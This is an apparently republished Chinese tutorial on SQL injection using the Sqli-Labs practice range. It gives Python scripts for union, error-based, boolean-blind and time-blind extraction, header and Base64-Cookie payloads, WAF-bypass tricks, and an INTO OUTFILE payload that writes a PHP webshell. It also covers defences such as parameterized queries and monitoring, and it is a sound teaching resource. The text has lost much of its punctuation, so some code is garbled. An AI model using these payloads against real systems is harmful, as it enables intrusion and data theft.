从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种常见姿势(附脚本)
2026/4/6 6:52:38 网站建设 项目流程
从GET到Cookie用Sqli-Labs靶场实战拆解SQL注入的5种常见姿势附脚本在网络安全领域SQL注入始终是最具破坏力的攻击手段之一。Sqli-Labs靶场作为经典的SQL注入练习平台通过22个精心设计的关卡系统化地展现了不同类型注入点的攻击手法。本文将突破传统按关卡罗列的教学模式从技术演进视角出发按照注入点类型和攻击技术两个维度进行深度分类并配合可复用的Python脚本帮助读者建立结构化的攻防思维框架。1. 注入点类型的技术特征与实战要点1.1 GET参数注入传统但高效的攻击入口GET型注入主要出现在URL参数直接拼接SQL查询的场景。以Less-1到Less-4为例虽然闭合方式不同单引号、双引号、括号等但核心攻击模式一致# GET型注入自动化探测脚本示例 import requests def detect_injection(url): test_cases [, \, ), \)] # 常见闭合方式 for case in test_cases: r requests.get(f{url}{case}) if error in r.text.lower(): return f可注入闭合方式{case} return 未检测到明显注入点关键判断逻辑通过报错信息识别闭合方式使用order by确定字段数联合查询时需构造负值使前段查询失效注意现代WAF通常会过滤常见关键词如union、select此时可采用分段编码或注释符绕过如uni%6fn代替union。1.2 POST表单注入隐蔽的数据通道从Less-11开始攻击面转向表单提交数据。与GET型不同POST注入需要处理请求体构造# POST注入脚本示例 data { username: admin\ AND 11 -- , password: 任意值 } r requests.post(url, datadata)盲注特征判断矩阵响应特征注入类型判断依据显错信息报错注入数据库错误直接回显布尔状态差异布尔盲注登录成功/失败页面差异响应时间延迟时间盲注sleep()函数触发延迟1.3 HTTP头部注入高阶渗透路径Less-18到Less-22展示了头部注入的三种典型场景User-Agent注入GET /less-18 HTTP/1.1 User-Agent: AND (SELECT COUNT(*) FROM information_schema.tables) 0 --Cookie注入自动化脚本cookies {uname: base64.b64encode(admin AND 11 -- .encode()).decode()} r requests.get(url, cookiescookies)技术演进趋势早期注入多集中在GET/POST参数现代应用转向头部字段注入等隐蔽路径Base64编码等变形手段增加检测难度2. 五大注入技术的原理与自动化实现2.1 联合查询注入信息检索的标准解法联合注入的核心在于构造合法的UNION查询。以Less-1为例的自动化流程字段数探测for i in range(1,10): payload f1 ORDER BY {i} -- if Unknown column in requests.get(urlpayload).text: column_count i-1 break数据提取模板-1 UNION SELECT NULL,CONCAT(table_name),NULL FROM information_schema.tables WHERE table_schemadatabase() --2.2 报错注入非常规信息泄露通道当页面不显示查询结果但返回错误信息时可利用数据库报错机制# 报错注入payload生成函数 def error_based_payload(query): return f1 AND updatexml(1,concat(0x7e,({query}),0x7e),1) -- 常见报错函数对比函数适用数据库触发条件updatexml()MySQLXPATH语法错误extractvalueMySQLXPATH语法错误cast()SQL Server类型转换错误2.3 布尔盲注比特级的条件判断当页面只有状态变化而无具体信息时需要逐字符判断# 布尔盲注自动化脚本 def bool_blind(url, query): result for i in range(1,50): for c in range(32,127): payload f1 AND ASCII(SUBSTR(({query}),{i},1)){c} -- if Welcome in requests.get(urlpayload).text: result chr(c) break return result优化技巧使用二分查找提升效率对常见单词建立字典加速猜测结合正则表达式减少请求次数2.4 时间盲注无回显场景的最后手段当页面完全无差异时通过延时判断条件真假# 时间盲注检测函数 def time_based(query): start time.time() requests.get(url f1 AND IF(({query}),SLEEP(5),0) -- ) return time.time() - start 4关键问题网络延迟可能导致误判需要设置合理的超时阈值自动化脚本需加入重试机制2.5 文件导出获取系统权限的跳板Less-7演示了通过注入写入Webshell的技术1)) UNION SELECT 1,?php system($_GET[cmd]); ?,3 INTO OUTFILE /var/www/html/shell.php --防御对策禁用secure_file_priv写入权限对数据库账户严格限制文件操作权限监控Web目录异常文件创建3. 防御体系构建与自动化检测3.1 参数化查询的工程实现以Python为例的安全编码示范# 安全查询方式 cursor.execute(SELECT * FROM users WHERE id %s, (user_id,))常见错误模式字符串拼接fSELECT * FROM users WHERE id {user_id}不完整过滤仅转义单引号忽略其他特殊字符3.2 WAF绕过技术矩阵绕过技术示例防御措施大小写变异SeLeCt正则表达式标准化注释符分割SEL/xxx/ECT语法树分析十六进制编码0x73656C656374输入规范化空白符替代S%E%L%E%C%TURL解码后检测3.3 自动化漏洞检测框架设计基于Python的检测框架核心组件class SQLiScanner: def __init__(self, target): self.target target self.techniques [ BooleanBasedScan(), TimeBasedScan(), ErrorBasedScan() ] def run(self): for tech in self.techniques: if tech.detect(self.target): return tech.report() return 未发现注入漏洞4. 从靶场到实战企业级应用防护方案4.1 SDLC各阶段防护措施开发阶段使用ORM框架替代原生SQL代码审计集成IDE插件测试阶段DAST自动化扫描模糊测试覆盖边界案例运行阶段RASP实时防护SQL防火墙规则更新4.2 监控与响应体系典型攻击特征高频出现的数据库关键字异常长的请求参数非常规的HTTP头部内容响应流程请求拦截与日志记录会话终止与IP封禁漏洞分析与补丁部署在真实渗透测试项目中曾遇到过一个使用Base64编码Cookie的金融系统其注入点检测需要特别处理编码逻辑。通过改造标准检测脚本最终发现存在时间盲注漏洞。这个案例说明现代Web应用的防御措施正在迫使攻击技术持续进化。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询